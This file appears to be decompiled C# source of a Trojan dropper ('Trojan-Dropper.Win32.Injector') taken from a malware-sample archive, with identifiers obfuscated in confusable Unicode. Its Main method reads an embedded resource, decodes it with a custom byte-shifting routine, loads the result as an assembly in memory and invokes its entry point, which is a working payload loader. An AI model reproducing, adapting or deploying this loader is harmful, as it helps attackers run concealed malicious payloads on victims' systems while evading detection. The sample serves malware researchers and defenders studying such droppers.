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https://github.com/vxunderground/MalwareSourceCode.git
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66 lines
6.4 KiB
C#
66 lines
6.4 KiB
C#
// Decompiled with JetBrains decompiler
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// Type: ǣƀƥǣǤӸƔƙƳǥƴƣƜƕơպƙȜƁƂƕƕҿǢƔƄռƋպֆƓƐȄƓƀƐƒռֆպȞӂƋǢƥƴƈƑȣƕƣǍƑƪƕȜƥƂփƓƎƓƜƲȜӸǣƀƙƏƑƴֆƎƄƴƅǢƕƜƁƜƂƉƂơƋƆǍƛ.ƏƙƱƑȄǍƁƓƱƏƒƪƩƍֆƛƱƴƆƔƁփƑƄպǎӸƘǎƖƲƥƁƉƉֆƴƘƄǢƗƁӸƏƙƑȮӂƳǎƥȄƈպơƖƋƥƖƆǭƈƁӂҿǥƘǥƲǍȄơֆƳȣƕƏǣӂơƜƉȮǤƓǤփǍƖȮǭƈƁӂҿǥƘǥƲǍȄơֆƳȣƕƏǣӂơƜƉȮǤƓǤփǍƖȮƲƥƁƉƉֆƴƘƄǢƗƁӸƏƙƑȮӂƳǎƥȄƈպơƖƋƥƖƆƀպӂƄȮȜƜƛǣӂֆƂǥƴƴփȜƥƉֆƲǢƥƙƑǢռҧƐȞƂȄǤȞƥƙӸպȞƩƒȜơƥȣƏƙǍҿӸǭƙƘƕǍƖƂȣƘǎƲƥƁƉƉֆƴƘƄǢƗƁӸƏƙƑȮӂƳǎƥȄƈպơƖƋƥƖƆƣȮƓǎփƏƕƀƲƪƓƆƖƒռȮƆƛƂƁǢƒƕƜȞƔƣƲƁƩռƑƥȞƥǤƐǎƍƆȣҧպҿƛӸƥƂƔƑǭǢǢƓƜƛƒƣƳȣƜȄƄƗȮƗƀֆƅƪƳҿơƲǢƙƂƣҿƪƈƩպƲƗƗӸҿƗǢƒƋƖƀǍƂƅƄֆƎȣƴƈƜƄǭռƣƙƔǍӂƓƄӂƳƗƋƄƉ
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// Assembly: cryptbs, Version=2.6.12.79, Culture=neutral, PublicKeyToken=null
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// MVID: FC627692-FCDB-4E6B-82E3-E24FD4825A81
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// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Injector.acsv-43bbe26a7f41a161062d0c91d3d16a0fee497cd0605b1916485a06b4465092c1.exe
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using System;
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using System.Reflection;
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using System.Resources;
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using System.Text;
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using System.Windows.Forms;
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namespace ǣƀƥǣǤӸƔƙƳǥƴƣƜƕơպƙȜƁƂƕƕҿǢƔƄռƋպֆƓƐȄƓƀƐƒռֆպȞӂƋǢƥƴƈƑȣƕƣǍƑƪƕȜƥƂփƓƎƓƜƲȜӸǣƀƙƏƑƴֆƎƄƴƅǢƕƜƁƜƂƉƂơƋƆǍƛ
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{
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internal class ƏƙƱƑȄǍƁƓƱƏƒƪƩƍֆƛƱƴƆƔƁփƑƄպǎӸƘǎƖƲƥƁƉƉֆƴƘƄǢƗƁӸƏƙƑȮӂƳǎƥȄƈպơƖƋƥƖƆǭƈƁӂҿǥƘǥƲǍȄơֆƳȣƕƏǣӂơƜƉȮǤƓǤփǍƖȮǭƈƁӂҿǥƘǥƲǍȄơֆƳȣƕƏǣӂơƜƉȮǤƓǤփǍƖȮƲƥƁƉƉֆƴƘƄǢƗƁӸƏƙƑȮӂƳǎƥȄƈպơƖƋƥƖƆƀպӂƄȮȜƜƛǣӂֆƂǥƴƴփȜƥƉֆƲǢƥƙƑǢռҧƐȞƂȄǤȞƥƙӸպȞƩƒȜơƥȣƏƙǍҿӸǭƙƘƕǍƖƂȣƘǎƲƥƁƉƉֆƴƘƄǢƗƁӸƏƙƑȮӂƳǎƥȄƈպơƖƋƥƖƆƣȮƓǎփƏƕƀƲƪƓƆƖƒռȮƆƛƂƁǢƒƕƜȞƔƣƲƁƩռƑƥȞƥǤƐǎƍƆȣҧպҿƛӸƥƂƔƑǭǢǢƓƜƛƒƣƳȣƜȄƄƗȮƗƀֆƅƪƳҿơƲǢƙƂƣҿƪƈƩպƲƗƗӸҿƗǢƒƋƖƀǍƂƅƄֆƎȣƴƈƜƄǭռƣƙƔǍӂƓƄӂƳƗƋƄƉ
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{
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public static ResourceManager պƑƥǍƣƉƙƉƒƲƐȮƴƜƈƘȄƛƐƉƱƍȄƱƏƋƣƜǍǥ = new ResourceManager("aeXA1kMRBuc3", Assembly.GetExecutingAssembly());
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private static void Main()
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{
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try
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{
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ƏƙƱƑȄǍƁƓƱƏƒƪƩƍֆƛƱƴƆƔƁփƑƄպǎӸƘǎƖƲƥƁƉƉֆƴƘƄǢƗƁӸƏƙƑȮӂƳǎƥȄƈպơƖƋƥƖƆǭƈƁӂҿǥƘǥƲǍȄơֆƳȣƕƏǣӂơƜƉȮǤƓǤփǍƖȮǭƈƁӂҿǥƘǥƲǍȄơֆƳȣƕƏǣӂơƜƉȮǤƓǤփǍƖȮƲƥƁƉƉֆƴƘƄǢƗƁӸƏƙƑȮӂƳǎƥȄƈպơƖƋƥƖƆƀպӂƄȮȜƜƛǣӂֆƂǥƴƴփȜƥƉֆƲǢƥƙƑǢռҧƐȞƂȄǤȞƥƙӸպȞƩƒȜơƥȣƏƙǍҿӸǭƙƘƕǍƖƂȣƘǎƲƥƁƉƉֆƴƘƄǢƗƁӸƏƙƑȮӂƳǎƥȄƈպơƖƋƥƖƆƣȮƓǎփƏƕƀƲƪƓƆƖƒռȮƆƛƂƁǢƒƕƜȞƔƣƲƁƩռƑƥȞƥǤƐǎƍƆȣҧպҿƛӸƥƂƔƑǭǢǢƓƜƛƒƣƳȣƜȄƄƗȮƗƀֆƅƪƳҿơƲǢƙƂƣҿƪƈƩպƲƗƗӸҿƗǢƒƋƖƀǍƂƅƄֆƎȣƴƈƜƄǭռƣƙƔǍӂƓƄӂƳƗƋƄƉ.ƏƙƱƑȄǍƁƓƱƏƒƪƩƍֆƛƱƴƆƔƁփƑƄպǎӸƘǎƖƒռƓփƅƂƥƒȣƑֆƳȮƐơǥƩȞƅƛǍȜƍơƓҧƩƔӂƳƥƎƕƏƒƍƜǥƪƳǤƅƑƉǤփơȄƍǣƏƉƪƍƄƑƈǭƐƐ(Encoding.Default.GetBytes((string) ƏƙƱƑȄǍƁƓƱƏƒƪƩƍֆƛƱƴƆƔƁփƑƄպǎӸƘǎƖƲƥƁƉƉֆƴƘƄǢƗƁӸƏƙƑȮӂƳǎƥȄƈպơƖƋƥƖƆǭƈƁӂҿǥƘǥƲǍȄơֆƳȣƕƏǣӂơƜƉȮǤƓǤփǍƖȮǭƈƁӂҿǥƘǥƲǍȄơֆƳȣƕƏǣӂơƜƉȮǤƓǤփǍƖȮƲƥƁƉƉֆƴƘƄǢƗƁӸƏƙƑȮӂƳǎƥȄƈպơƖƋƥƖƆƀպӂƄȮȜƜƛǣӂֆƂǥƴƴփȜƥƉֆƲǢƥƙƑǢռҧƐȞƂȄǤȞƥƙӸպȞƩƒȜơƥȣƏƙǍҿӸǭƙƘƕǍƖƂȣƘǎƲƥƁƉƉֆƴƘƄǢƗƁӸƏƙƑȮӂƳǎƥȄƈպơƖƋƥƖƆƣȮƓǎփƏƕƀƲƪƓƆƖƒռȮƆƛƂƁǢƒƕƜȞƔƣƲƁƩռƑƥȞƥǤƐǎƍƆȣҧպҿƛӸƥƂƔƑǭǢǢƓƜƛƒƣƳȣƜȄƄƗȮƗƀֆƅƪƳҿơƲǢƙƂƣҿƪƈƩպƲƗƗӸҿƗǢƒƋƖƀǍƂƅƄֆƎȣƴƈƜƄǭռƣƙƔǍӂƓƄӂƳƗƋƄƉ.պƑƥǍƣƉƙƉƒƲƐȮƴƜƈƘȄƛƐƉƱƍȄƱƏƋƣƜǍǥ.GetObject("aQ8ZhGcxsG_zmxYWJVbiUyrnffY")));
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}
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catch (Exception ex)
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{
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int num = (int) MessageBox.Show(ex.ToString());
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}
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}
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public static void ƏƙƱƑȄǍƁƓƱƏƒƪƩƍֆƛƱƴƆƔƁփƑƄպǎӸƘǎƖƒռƓփƅƂƥƒȣƑֆƳȮƐơǥƩȞƅƛǍȜƍơƓҧƩƔӂƳƥƎƕƏƒƍƜǥƪƳǤƅƑƉǤփơȄƍǣƏƉƪƍƄƑƈǭƐƐ(
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byte[] ƴƪƕփփƗƪƔƩǭȣǎҧƐƎƣƔƆƈƆƑǢƁƗƙӂơƈƕƄռƔӸƉƄƪƱƲȜƪƒǢȄƱǎǢƔƴƘǥƅƕƁƱƐƜǍƔƅƋ)
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{
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MethodInfo entryPoint = Assembly.Load(ƴƪƕփփƗƪƔƩǭȣǎҧƐƎƣƔƆƈƆƑǢƁƗƙӂơƈƕƄռƔӸƉƄƪƱƲȜƪƒǢȄƱǎǢƔƴƘǥƅƕƁƱƐƜǍƔƅƋ).EntryPoint;
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object[] parameters = (object[]) null;
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if (entryPoint.GetParameters().Length > 0)
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parameters = new object[1]
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{
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(object) new string[1]{ "1" }
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};
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entryPoint.Invoke((object) null, parameters);
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}
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public static byte[] ƲƥƁƉƉֆƴƘƄǢƗƁӸƏƙƑȮӂƳǎƥȄƈպơƖƋƥƖƆȞƄƲƖƄƖƎӸƆƍǣǥƎӂƓƅƑƐǥƴȜȮƈǭƅǥƣӸƜƔҧǭƍƈǥռƀơƩӸǥȜƕƜƓƴȜƘȜȜƩǭǍƜպƥǣȮƱƆEn(
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byte[] ռƑƥȞƥǤƐǎƍƆȣҧպҿƛӸƥƂƔƑǭǢǢƓƜƛƒƣƳȣ,
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string ƏƙƱƑȄǍƁƓƱƏƒƪƩƍֆƛƱƴƆƔƁփƑƄպǎӸƘǎƖ)
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{
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byte[] bytes = Encoding.ASCII.GetBytes(ƏƙƱƑȄǍƁƓƱƏƒƪƩƍֆƛƱƴƆƔƁփƑƄպǎӸƘǎƖ);
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int num = (int) ռƑƥȞƥǤƐǎƍƆȣҧպҿƛӸƥƂƔƑǭǢǢƓƜƛƒƣƳȣ[ռƑƥȞƥǤƐǎƍƆȣҧպҿƛӸƥƂƔƑǭǢǢƓƜƛƒƣƳȣ.Length - 1];
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byte[] numArray = new byte[ռƑƥȞƥǤƐǎƍƆȣҧպҿƛӸƥƂƔƑǭǢǢƓƜƛƒƣƳȣ.Length - 1];
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short index1 = 0;
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for (int index2 = 0; index2 < ռƑƥȞƥǤƐǎƍƆȣҧպҿƛӸƥƂƔƑǭǢǢƓƜƛƒƣƳȣ.Length - 1; ++index2)
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{
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if ((int) index1 >= bytes.Length)
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index1 = (short) 0;
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if (index2 < ռƑƥȞƥǤƐǎƍƆȣҧպҿƛӸƥƂƔƑǭǢǢƓƜƛƒƣƳȣ.Length - 1)
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{
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numArray[index2] = Convert.ToByte((int) ռƑƥȞƥǤƐǎƍƆȣҧպҿƛӸƥƂƔƑǭǢǢƓƜƛƒƣƳȣ[index2] - numArray.Length % bytes.Length - (int) bytes[(int) index1] + num);
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++index1;
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}
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}
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return numArray;
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}
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}
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}
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